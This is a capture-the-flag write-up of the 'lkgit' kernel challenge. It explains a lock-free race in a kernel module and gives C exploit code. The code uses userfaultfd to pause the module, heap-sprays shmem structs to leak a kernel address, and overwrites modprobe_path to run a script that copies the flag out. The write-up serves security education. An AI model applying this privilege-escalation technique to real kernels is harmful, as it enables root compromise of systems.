lkgit

Description

The man made two wonderful software. I make them worse and worse.

The flag is /home/user/flag.

nc 34.146.78.117 25252

Attachment: lkgit.tar.gz xpl.py pwn.c

Team: Super Guesser

lkgit was a kernel challenge mimicking a git system in kernel space. It allows us to add files with a commit message into kernel memory, retrieving them and updating the commit message.

The module can be accessed via /dev/lkgit and the functionality is handled via ioctl calls.

static long lkgit_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    switch(cmd){
        case LKGIT_HASH_OBJECT:
            return lkgit_hash_object((hash_object *)arg);
        case LKGIT_GET_OBJECT:
            return lkgit_get_object((log_object*)arg);
        case LKGIT_AMEND_MESSAGE:
            return lkgit_amend_message((log_object*)arg);
        default:
            return -LKGIT_ERR_UNIMPLEMENTED;
        };
}

The main issue in the implementation is, that lkgit_get_object and lkgit_amend_message use find_by_hash to first get the index of the object to work on and store a reference to it, and then starts copying data to and from it.

Since there is no lock defined anywhere in the module, it’s possible to race this and for example abuse this in lkgit_get_object to delete the object after it was fetched, but before the data is copied from it.

static long lkgit_get_object(log_object *req)
{
    long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
    char hash_other[HASH_SIZE] = {0};
    char hash[HASH_SIZE];
    int target_ix;
    hash_object *target;
    if (copy_from_user(hash, req->hash, HASH_SIZE))
        goto end;

    if ((target_ix = find_by_hash(hash)) != -1)
    {
        target = objects[target_ix];
        if (copy_to_user(req->content, target->content, FILE_MAXSZ))
            goto end;

        // validity check of hash
        get_hash(target->content, hash_other);
        if (memcmp(hash, hash_other, HASH_SIZE) != 0)
            goto end;

        // We would like execution to stop here
        if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))  
            goto end;
        if (copy_to_user(req->hash, target->hash, HASH_SIZE))
            goto end;
        ret = 0;
    }

end:
    return ret;
}

To make racing easier, we can use userfaultfd.

If we can stop execution of lkgit_get_object before the hash gets copied back into the user object and delete the object and replace it with some kernel object, that contains useful data in the first 0x10 bytes and then continue execution, we could use this to leak kernel addresses.

Perfect situation for using userfaultfd, setting up some pages and put our request object into that region, so that the kernel module can read hash and content from it, but will run into a page fault when trying to read message. This way, execution in the kernel module would pause at the desired point and transfer execution into our userfault handler (where we can delete the current object and replace it with a kernel object) and then trigger UFFDIO_COPY, so execution will continue in the kernel module, copying the first 0x10 bytes from that kernel object into our user hash value.

I’ll not go too deep into how to setup userfaultfd for this writeup (just check attached pwn.c how this is done, I added logs and comments to the userfault handling to make it very verbose).

Let’s start with preparing the leak for a kernel address. For this, we want to create an initial file, then try to request it and let the request page fault, when trying to fill the message of our request.

We create a page of size 0x2000 and align our request object in this page, so that hash and content are located in the first page and the message object in the second page.

By this, lkgit_get_object will trigger a page fault, when trying to write to message, passing execution to our userfault handler.

// take a snapshot of a file.
char snap_file(char *content, char *message, char *out_hash)
{
    hash_object req = {
        .content = content,
        .message = message,
    };

    if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0)
    {
        printf("[ERROR] failed to hash the object.\n");
    }

    memcpy(out_hash, &req.hash, 0x10);

    return 0;
}

char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBB";

char hash1[0x10];

void *break_on_read(void *args, struct uffdio_copy *uf_buf)
{
    userfd_callback_args *cb_args = args;

    puts("Userfault: break_on_read");    
}

int main()
{
    lkgit_fd = open("/dev/lkgit", O_RDWR);

    printf("[+] Create initial file in lkgit\n");
    snap_file(fileContent1, fileMessage1, hash1);

    printf("[+] Register userfault fd\n");
    userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read);

    printf("[+] Request file, and let it break on copying back message\n");
    log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on message
    memcpy(&req->hash, hash1, 0x10);
    ioctl(lkgit_fd, LKGIT_GET_OBJECT, req);

    close(lkgit_fd);
}
[+] Create initial file in lkgit
[+] Register userfault fd

Register userfaultdfd
======================================================================
[+] Userfaultfd registered : FD 4 / Flags: 0x1
[+] Userfaultfd api : Features 0x1ff
[+] Userfaultfd region : 0x7fc3e3f5f000 - 0x7fc3e3f61000[+] Userfaultfd region registered: ioctls 0x5c
[+] Userfaultfd process thread started: 0x7fc3e3f58f38
======================================================================

[+] Request file, and let it break on copying back message
Userfault event
======================================================================
PAGEFAULT : 0x7fc3e3f60000 / Flags 0x1
UFFDIO_COPY
Userfault: break_on_read

So, now we’re in our userfault handler break_on_read, while the lkgit_get_object function has already fetched the object to return, we can now just store another file with the same hash in the kernel. This will effectively delete the current object and store a new one there. While the object is deleted, let’s put a shmem struct there and return to execution in lkgit_get_object, which will then copy the first 0x10 bytes from the shmem kernel object into the hash of our request.

void spray_shmem(int count, int size) {
    puts("[+] spray shmem structs");
    int shmid;
    char *shmaddr;

    for (int i = 0; i < count; i++)
    {
        if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1)
        {
            perror("shmget error");
            exit(-1);
        }
        shmaddr = shmat(shmid, NULL, 0);

        if (shmaddr == (void *)-1)
        {
            perror("shmat error");
            exit(-1);
        }
    }
}

void *break_on_read(void *args, struct uffdio_copy *uf_buf)
{
    userfd_callback_args *cb_args = args;

    puts("Userfault: break_on_read");    

    printf("[+]Delete current object by storing one with the same hash\n");
    snap_file(fileContent1, fileMessage1, &hash1);

    printf("[+] Create a shmem struct in the freed object");
    spray_shmem(1, 0x20);    
}

int main()
{
    lkgit_fd = open("/dev/lkgit", O_RDWR);

    printf("[+] Create initial file in lkgit\n");
    snap_file(fileContent1, fileMessage1, hash1);

    printf("[+] Register userfault fd\n");
    userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read);

    printf("[+] Request file, and let it break on copying back message\n");
    log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on message
    memcpy(&req->hash, hash1, 0x10);
    ioctl(lkgit_fd, LKGIT_GET_OBJECT, req);

    unsigned long kernel_leak = *((unsigned long*)(req->hash + 0x8));
    modprobe_path = kernel_leak - 0x131ce0;

    printf("[+] Kernel leak : %p\n", kernel_leak);
    printf("[+] modprobe_path : %p\n", modprobe_path);

    unregister_userfaultfd(uffdargs);

    close(lkgit_fd);
}

Let’s see some bad drawing skills for getting a better idea :)

 request object
      ||
      ||
      \/
lkgit_get_object
      ||
      ||
      \/
 find_by_hash
      ||
      ||
      \/
 copy_to_user(content)    
      ||
      ||
      \/
 copy_to_user(message)
      ||
      ||     (page fault)
      ||==============================> userfaulthandler (break on read)
                                                   ||
                                                   ||
                                                   \/
                                            delete current object
                                                   ||
                                                   ||
                                                   \/
                                            create shmem struct
                                                   ||
                                                   ||
      ||<============================================                                             
      ||
      ||
      \/
 copy_to_user(hash)

So the last copy_to_user will actually work on the shmem structure which we sneaked into the (deleted) current object in our userfault handler, so we can leak a kernel address from it.

[+] Request file, and let it break on copying back message
Userfault event
======================================================================
PAGEFAULT : 0x7f410a0f7000 / Flags 0x1
UFFDIO_COPY
Userfault: break_on_read
[+]Delete current object by storing one with the same hash
[+] Create a shmem struct in the freed object[+] spray shmem structs
[+] Kernel leak : 0xffffffff81d6e800

Now that we have a kernel leak, we need to do the opposite way around to be able to write something. Similar to our leaking process, we can use lkgit_amend_message and also “pause” it after acquiring the object, when it tries to read the message to write to the kernel object.

static long lkgit_amend_message(log_object *reqptr)
{
    long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
    char buf[MESSAGE_MAXSZ];
    log_object req = {0};
    int target_ix;
    hash_object *target;
    if (copy_from_user(&req, reqptr->hash, HASH_SIZE))
        goto end;

    if ((target_ix = find_by_hash(req.hash)) != -1)
    {
        target = objects[target_ix];

        // save message temporarily
        if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))  // <= break here :)
            goto end;

        // return old information of object
        ret = lkgit_get_object(reqptr);

        // amend message
        memcpy(target->message, buf, MESSAGE_MAXSZ);
    }

end:
    return ret;
}

We can then delete the current object and allocate another object, so that the message from this will be allocated over our current object (by which we can control the target->message pointer for the current object in lkgit_amend_message).

When we then continue execution, our new message will be copied to our crafted target->message buffer instead of the original one.

Since the kernel configuration didn’t prohibit usage of usermode_helper, I opted for overwriting modprobe_path and then let it copy the flag and change it permissions, so we can easily read it afterwards.

void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf)
{
    userfd_callback_args *cb_args = args;

    // Write address of modprobe_path to hash_object->message
    unsigned long* lptr = fileMessage1+0x18;
    *lptr = modprobe_path;
    
    // Reallocate file to get current object freed
    snap_file(fileContent1, fileMessage1, &hash1);

    // Reallocate file to overwrite current freed object with crafted message
    // => overwrite message ptr of current object
    snap_file(fileContent1, fileMessage1, &hash1);
        
    // Put the content into UFFDIO_COPY src argument (which will be copied to corrupted message ptr)
    char mod[] = "/home/user/copy.sh";
    memcpy(uf_buf->src, mod, sizeof(mod));
}

int main()
{
    // Prepare modprobe_path exploitation
    system("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");
    system("chmod +x /home/user/copy.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
    system("chmod +x /home/user/dummy");

    ...

    printf("[+] Register new userfaultfd\n");
    uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite);
    
    // Align the request object, so that lkgit_amend_message will pagefault on reading new message
    ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);
    
    close(lkgit_fd);
    
    // Execute modprobe_path exploitation
    system("/home/user/dummy");
    system("cat /home/user/flag2");
}

Everything in place, let’s run it on remote and get another flag :)

[+] Create initial file in lkgit
[+] Register userfaultfd

Register userfaultdfd
======================================================================
[+] Userfaultfd registered : FD 4 / Flags: 0x1
[+] Userfaultfd api : Features 0x1ff
[+] Userfaultfd region : 0x7f20d012a000 - 0x7f20d012c000[+] Userfaultfd region registered: ioctls 0x5c
[+] Userfaultfd process thread started: 0x7f20d0123f38
======================================================================

[+] Request file, and let it break on copying back message
Userfault event
======================================================================
PAGEFAULT : 0x7f20d012b000 / Flags 0x1
UFFDIO_COPY
Userfault: break_on_read
[+]Delete current object by storing one with the same hash
[+] Create a shmem struct in the freed object[+] spray shmem structs
[+] Kernel leak   : 0xffffffffac76e800
[+] modprobe_path : 0xffffffffac63cb20

Unregister userfaultdfd
======================================================================
[+] Sent UFFDIO_COPY event to userfaultfd
======================================================================

[+] userfaultfd unregistered
======================================================================

[+] Register new userfaultfd

Register userfaultdfd
======================================================================
[+] Userfaultfd registered : FD 4 / Flags: 0x1
[+] Userfaultfd api : Features 0x1ff
[+] Userfaultfd region : 0x7f20d012a000 - 0x7f20d012c000[+] Userfaultfd region registered: ioctls 0x5c
[+] Userfaultfd process thread started: 0x7f20d00fbf38
======================================================================

Userfault event
======================================================================
PAGEFAULT : 0x7f20d012b000 / Flags 0
UFFDIO_COPY
[+] Sent UFFDIO_COPY event to userfaultfd
======================================================================

/home/user/dummy: line 1: \xff\xff\xff\xff: not found
TSGCTF{google_took_2years_but_you_found_hash_collision_in_a_day!}